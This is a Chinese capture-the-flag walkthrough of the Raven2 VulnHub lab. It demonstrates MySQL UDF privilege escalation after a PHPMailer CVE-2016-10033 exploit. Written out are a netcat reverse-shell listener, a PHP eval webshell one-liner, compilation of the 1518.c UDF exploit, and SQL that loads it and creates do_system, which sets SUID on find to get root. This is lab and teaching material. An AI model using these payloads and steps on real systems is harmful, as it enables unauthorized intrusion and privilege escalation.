UDF提权

目录

一、UDF概述

二、提权条件

三、漏洞复现

(一) 信息收集

1. Nmap信息收集

1.1、查看当前IP地址

1.2、扫描当前网段,找出目标机器

1.3、快速扫描目标机全端口

2. dirb目录扫描

3. 第一个flag

3.1、目录遍历漏洞

3.2、flag

4. 敏感信息利用

(二) 漏洞利用

1. searchsploit工具搜索exp

2. 更改exp中所需参数

3. 运行exp并开启nc监听

4. 访问exp生成的用于反弹shell的php文件

5. 第二和三个flag

(三) 蚁剑操作

1. 写入一句话木马

2. 蚁剑连接

3. 查看配置信息

(四) 寻找exp

1. searchsploit工具搜索exp

2. ChatGPT解读EXP内容

(五) 提权操作

1. 编译.c文件为.so文件

2. 将bug.so文件传入目标机中

3. 连接数据库

4. 数据库操作

5. 验证是否提权成功

6. 第四个flag


环境:https://download.vulnhub.com/raven/Raven2.ova

一、UDF概述

当MYSQL权限比较高的时候我们就可以利用UDF提权。

UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数)

UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。

文件后缀为.dll.so,常用c语言编写。

UDF在MySQL5.1以后的版本,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’常用c语言编写。

MySQL5.1以上的版本,默认是没有plugin目录的,选择手动建立。

二、提权条件

其实这一步都无所谓,毕竟如果你操作系统提权失败,而恰巧目标使用的是MySQL,那孤注一掷吧。

如果MySQL也不行,什么方法都尝试了依旧无果,那只能请教一下红队大牛了(小的不行)

  • MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delect权限,以创建和删除函数
  • 拥有可以将udf.dll写入相应目录的权限。

三、漏洞复现

(一) 信息收集

1. Nmap信息收集

1.1、查看当前IP地址
┌──(root㉿hack)-[~]
└─# ifconfig eth0 | grep inetinet 192.168.20.130  netmask 255.255.255.0  broadcast 192.168.20.255inet6 fe80::823a:7455:6959:aac2  prefixlen 64  scopeid 0x20<link>

1.2、扫描当前网段,找出目标机器
┌──(root㉿hack)-[~]
└─# nmap -sP 192.168.20.0/24
/*
-s		指定扫描技术
-P		ping操作
-sP		使用ping操作来寻找存活主机
*/发现目标机为:192.168.20.137

1.3、快速扫描目标机全端口
┌──(root㉿hack)-[~]
└─# nmap -sS -p 1-65535 192.168.20.137
/*
-sS	SYN扫描技术
-p  指定端口
*/

2. dirb目录扫描

┌──(root㉿hack)-[~]
└─# dirb http://192.168.20.137/

3. 第一个flag

3.1、目录遍历漏洞

通过目录访问探索发现:http://192.168.20.137/vendor/ 存在目录遍历漏洞。

3.2、flag

眼疾手快的点了一下PATH发现flag信息以及绝对路径

4. 敏感信息利用

发现一个README.md的说明文档,打开看看。

发现PHPMailer并且版本为5.2,上网查询发现公开漏洞。

(二) 漏洞利用

1. searchsploit工具搜索exp

这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。

如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!

别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。

searchsploit phpMailer		#搜索关于phpMailer的expsearchsploit -m php/webapps/40974.py #将exp保存到当前工作目录中

2. 更改exp中所需参数

vim /root/40974.py
target	#修改为目标IP+端口
payload	#反弹shell的地址修改为攻击机的IP地址
fields→email	#修改为目标网址绝对路径(只要可以访问,放哪里都无所谓)

3. 运行exp并开启nc监听

┌──(root㉿hack)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...nc				#nc是netcat的简写,工具命令。
-l				#监听模式。使用此选项后,nc将会监听指定的端口。
-v				#启用详细的输出模式。使用此选项后,nc将会显示更多的信息和日志。
-p 4444		#这是nc的另一个选项,表示指定监听的端口号。在这个例子中,指定的端口号是4444。
┌──(root㉿hack)-[~]
└─# python 40974.py█████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ 
██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗
███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝
██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗
██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║
╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.comVersion 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski[+] SeNdiNG eVIl SHeLL To TaRGeT....
[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D
[+]  ExPLoITeD http://192.168.20.137/contact.php

4. 访问exp生成的用于反弹shell的php文件

使用浏览器访问:http://192.168.20.137/bug.php转到终端1,可以看到,成功反弹shell成功。
┌──(root㉿hack)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.20.130] from bogon [192.168.20.137] 40254
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

5. 第二和三个flag

$ find / -name "flag*" 2>/dev/null
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt

这里用flag查询flag,发现只有2个,结合之前那一个,一共3个。

但是这个靶机中存在4个flag,用find没有查出来,猜测是有些目录是当前权限无法访问,所以没有查出来,我们下面开始进行提权操作。

(三) 蚁剑操作

1. 写入一句话木马

反正都是网站权限,写一个一句话木马,用蚁剑操作比较方便。

echo '<?php @eval($_REQUEST['bug']); ?>' > tu.php

2. 蚁剑连接

3. 查看配置信息

这篇文章的主题就是UDF提权,所以肯定是系统提权失败,才选择UDF提权、

信息收集看到网址框架是wordpress,所以我们直接选择去看它的配置文件。

在这个配置文件中看到了数据库账号和密码,并且数据库为MySQL

(四) 寻找exp

1. searchsploit工具搜索exp

这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。

如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!

别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。

searchsploit mysql UDF		#搜索关于mysql UDF的expsearchsploit -m linux/local/1518.c #将exp保存到当前工作目录中

2. ChatGPT解读EXP内容

(五) 提权操作

1. 编译.c文件为.so文件

┌──(root㉿hack)-[~]
└─# gcc -g -c 1518.c ┌──(root㉿hack)-[~]
└─# gcc -g -shared -o bug.so 1518.o -lc

将1518.c文件编译成.so文件
将C语言代码编译成.so文件(也称为共享对象文件)的作用是创建一个可供其他程序调用和链接的动态链接库。
这种动态链接库通常包含一组函数和符号,可以在运行时被其他程序加载和使用。.so文件可以被不同的程序共享使用,这样可以避免代码的重复编写和维护。
它提供了一种灵活的方式来共享和重用代码,从而提高开发效率和代码复用性。通常情况下,需要先将C语言代码编译为目标文件(.o文件),然后再将目标文件链接为共享库(.so文件)。
这是因为编译过程分为两个阶段:编译和链接。
编译阶段将源代码转换为目标文件,而链接阶段将目标文件与其他库文件进行连接,生成可执行文件或共享库。

2. 将bug.so文件传入目标机中

3. 连接数据库

4. 数据库操作

create table bug(line blob);
这条命令创建了一个名为"bug"的数据库表,它只有一个名为"line"的列,类型为二进制(BLOB)。insert into bug values(load_file('/tmp/bug.so'));
这条命令将指定路径(/tmp/bug.so)下的文件内容以二进制形式插入到"bug"表的"line"列中。
这里假设该文件是一个共享库文件。select * from bug into dumpfile '/usr/lib/mysql/plugin/bug.so';
这条命令从"bug"表中选择所有行,并将其以文件的形式导出到指定路径(/usr/lib/mysql/plugin/bug.so)
这里的目的是将"bug"表中的内容导出为一个共享库文件。create function do_system returns integer soname 'bug.so';
这条命令创建了一个名为"do_system"的用户定义函数(UDF),它的返回类型是整数。
该函数通过指定的共享库文件(bug.so)进行加载。select do_system('chmod u+s /usr/bin/find');
这条命令调用了之前创建的"do_system"函数,并将"chmod u+s /usr/bin/find"作为参数传递给它。
这里的目的是在执行该命令时提升"/usr/bin/find"命令的权限。

5. 验证是否提权成功

(www-data:/tmp) $ touch tu
(www-data:/tmp) $ find tu -exec whoami \;
root

SUID权限:
它在执行过程中会临时获取文件所有者的权限,而不是执行它的用户的权限。
也就是说如果我执行了一个设置有SUID权限的文件,那么我在执行这个文件的权限就是root(含过程)。find命令	#指定要搜索的文件或目录的路径
tu				#文件
-exec			#"-exec" 是 find 命令中的一个选项,用于在找到匹配的文件或目录后执行指定的命令。
whoami		#在这个命令中,指定的命令是 "whoami",它用于显示当前用户的用户名。
\;				#是一个用于告诉 find 命令 "-exec" 选项结束的标志。在这个命令中,它表示命令执行的结尾。

6. 第四个flag

(www-data:/tmp) $ find tu -exec find / -name "flag*" 2>/dev/null \;
(www-data:/tmp) $ find tu -exec cat /root/flag4.txt \;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/279205.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

重学SpringBoot3-函数式Web

更多SpringBoot3内容请关注我的专栏&#xff1a;《SpringBoot3》 期待您的点赞&#x1f44d;收藏⭐评论✍ 重学SpringBoot3-函数式Web 函数式Web编程简介RouterFunctionRequestPredicateServerRequestServerResponse 好处示例结论 随着响应式编程范式的兴起和 Java 函数式编程能…

腾讯云服务器多少钱一个月?5元1个月,这价格没谁了

2024腾讯云服务器多少钱一个月&#xff1f;5元1个月起&#xff0c;腾讯云轻量服务器4核16G12M带宽32元1个月、96元3个月&#xff0c;8核32G22M配置115元一个月、345元3个月&#xff0c;腾讯云轻量应用服务器61元一年折合5元一个月、4核8G12M配置646元15个月、2核4G5M服务器165元…

[QJS xmake] 非常简单地在Windows下编译QuickJS!

文章目录 前言准备C编译器xmake编译包 工程准备修改版本号第一遍编译第二遍编译效果 前言 quickjs是个很厉害的东西啊&#xff0c;我一直想编译一下的&#xff0c;奈何一直没成功。现在找了点时间成功编译了&#xff0c;写篇文章记录一下。当前版本&#xff1a;2024-1-13 应该…

插入排序算法记录

插入排序 1.基本思想&#xff1a;左侧的子序列总是有序的。对于每一个位置上的元素&#xff0c;将其与左侧已排序的部分进行比较并插入到合适的位置&#xff0c;直到整个序列有序 2.性能分析&#xff1a; 最好情况&#xff1a;如果输入数组已经是有序的&#xff0c;插入排序只…

原型模式(Clone)——创建型模式

原型模式(clone)——创建型模式 什么是原型模式&#xff1f; 原型模式是一种创建型设计模式&#xff0c; 使你能够复制已有对象&#xff0c; 而又无需依赖它们所属的类。 总结&#xff1a;需要在继承体系下&#xff0c;实现一个clone接口&#xff0c;在这个方法中以本身作为拷…

【你也能从零基础学会网站开发】Web建站之jQuery进阶篇 jQuery自定义插件应用开发

&#x1f680; 个人主页 极客小俊 ✍&#x1f3fb; 作者简介&#xff1a;程序猿、设计师、技术分享 &#x1f40b; 希望大家多多支持, 我们一起学习和进步&#xff01; &#x1f3c5; 欢迎评论 ❤️点赞&#x1f4ac;评论 &#x1f4c2;收藏 &#x1f4c2;加关注 jQuery插件开发…

鸿蒙API9+axios封装一个通用工具类

使用方式&#xff1a; 打开Harmony第三方工具仓&#xff0c;找到axios&#xff0c;如图&#xff1a; 第三方工具仓网址&#xff1a;https://ohpm.openharmony.cn/#/cn/home 在你的项目执行命令&#xff1a;ohpm install ohos/axios 前提是你已经装好了ohpm &#xff0c;如果没…

chatgpt大模型基础学习

chatgpt大模型基础学习 1. 吴恩达提示工程2. 大模型说的token是什么 1. 吴恩达提示工程 知乎 https://zhuanlan.zhihu.com/p/626290417?utm_id0 中文版 https://mp.weixin.qq.com/s?__bizMzkwMjQ5MzExMg&mid2247483714&idx1&sn5e905f5ec6196f6dc2187db2a8618f02&…

快速从0-1完成聊天室开发——环信ChatroomUIKit功能详解

聊天室是当下泛娱乐社交应用中最经典的玩法&#xff0c;通过调用环信的 IM SDK 接口&#xff0c;可以快速创建聊天室。如果想根据自己业务需求对聊天室应用的 UI界面、弹幕消息、礼物打赏系统等进行自定义设计&#xff0c;最高效的方式则是使用环信的 ChatroomUIKit 。 文档地址…

母亲的奶牛(bfs)

农夫约翰有三个容量分别为 A , B , C A,B,C A,B,C 升的挤奶桶。 最开始桶 A A A 和桶 B B B 都是空的&#xff0c;而桶 C C C 里装满了牛奶。 有时&#xff0c;约翰会将牛奶从一个桶倒到另一个桶中&#xff0c;直到被倒入牛奶的桶满了或者倒出牛奶的桶空了为止。 这一过…

基于YOLOv8的火焰烟雾实时检测系统【训练和系统源码+Pyside6+数据集+包运行】

✨目录 一、系统概述和展示&#x1f384;1.1 摘要 &#x1f388; 二、一站式使用教程&#x1f384;三、YOLOv8原理剖析&#x1f384;3.1 YOLOv8背景和技术原理&#x1f388; 四、模型训练、评估和推理&#x1f384;4.1 数据集介绍&#x1f388;4.2 模型训练&#x1f388;4.3 结…

【Swing】Java Swing实现省市区选择编辑器

【Swing】Java Swing实现省市区选择编辑器 1.需求描述2.需求实现3.效果展示 系统&#xff1a;Win10 JDK&#xff1a;1.8.0_351 IDEA&#xff1a;2022.3.3 1.需求描述 在公司的一个 Swing 的项目上需要实现一个选择省市区的编辑器&#xff0c;这还是第一次做这种编辑器&#xf…

慢sql优化

1.避免使用select *&#xff0c;而是明确列出需要的列&#xff0c; 2.小表驱动大表&#xff0c;in适用于左边大表&#xff0c;右边小表。 exists适用于左边小表&#xff0c;右边大表。 3.批量操作&#xff1a;如果每次插入数据库数据&#xff0c;都要连接一次数据库&#xf…

Java-SpringAop 编程式事物实现

SpringAop 编程式事物实现 1. 数据库事物特性 原子性 多个数据库操作是不可分割的&#xff0c;只有所有的操作都执行成功&#xff0c;事物才能被提交&#xff1b;只要有一个操作执行失败&#xff0c;那么所有的操作都要回滚&#xff0c;数据库状态必须回复到操作之前的状态 …

linux 安装常用软件

文件传输工具 sudo yum install –y lrzsz vim编辑器 sudo yum install -y vimDNS 查询 sudo yum install bind-utils用法可以参考文章 《掌握 DNS 查询技巧&#xff0c;dig 命令基本用法》 net-tools包 yum install net-tools -y简单用法&#xff1a; # 查看端口占用情况…

实现HBase表和RDB表的转化(附Java源码资源)

实现HBase表和RDB表的转化 一、引入 转化为HBase表的三大来源&#xff1a;RDB Table、Client API、Files 如何构造通用性的代码模板实现向HBase表的转换&#xff0c;是一个值得考虑的问题。这篇文章着重讲解RDB表向HBase表的转换。 首先&#xff0c;我们需要分别构造rdb和hba…

ModbusTCP转Profinet网关高低字节交换切换

背景&#xff1a;在现场设备与设备通迅之间通常涉及到从一种字节序&#xff08;大端或小端&#xff09;转换到另一种字节序。大端字节序是指高位字节存储在高地址处&#xff0c;而小端字节序是指低位字节存储在低地址处。在不动原有程序而又不想或不能添加程序下可选用ModbusTC…

一种动态联动的实现方法

安防领域中的联动规则 有安防领域相关的开发经历的人知道&#xff0c;IPCamera可以配置使能“侦测”功能&#xff0c;并且指定仅针对图像传感器的某个区载进行侦测。除了基本的“移动侦测"外&#xff0c;侦测的功能点还有细化的类别&#xff0c;如人员侦测、车辆侦测、烟…

Springboot+Redis:实现缓存 减少对数据库的压力

&#x1f389;&#x1f389;欢迎光临&#xff0c;终于等到你啦&#x1f389;&#x1f389; &#x1f3c5;我是苏泽&#xff0c;一位对技术充满热情的探索者和分享者。&#x1f680;&#x1f680; &#x1f31f;持续更新的专栏Redis实战与进阶 本专栏讲解Redis从原理到实践 …

nmcli --help(nmcli -h)nmcli文档、nmcli手册

文章目录 nmcli --helpOPTION解释OBJECT解释1. g[eneral]&#xff1a;查看NetworkManager的状态2. n[etworking]&#xff1a;启用或禁用网络3. r[adio]&#xff1a;查看无线电状态&#xff08;例如&#xff0c;Wi-Fi&#xff09;4. c[onnection]&#xff1a;列出所有的网络连接…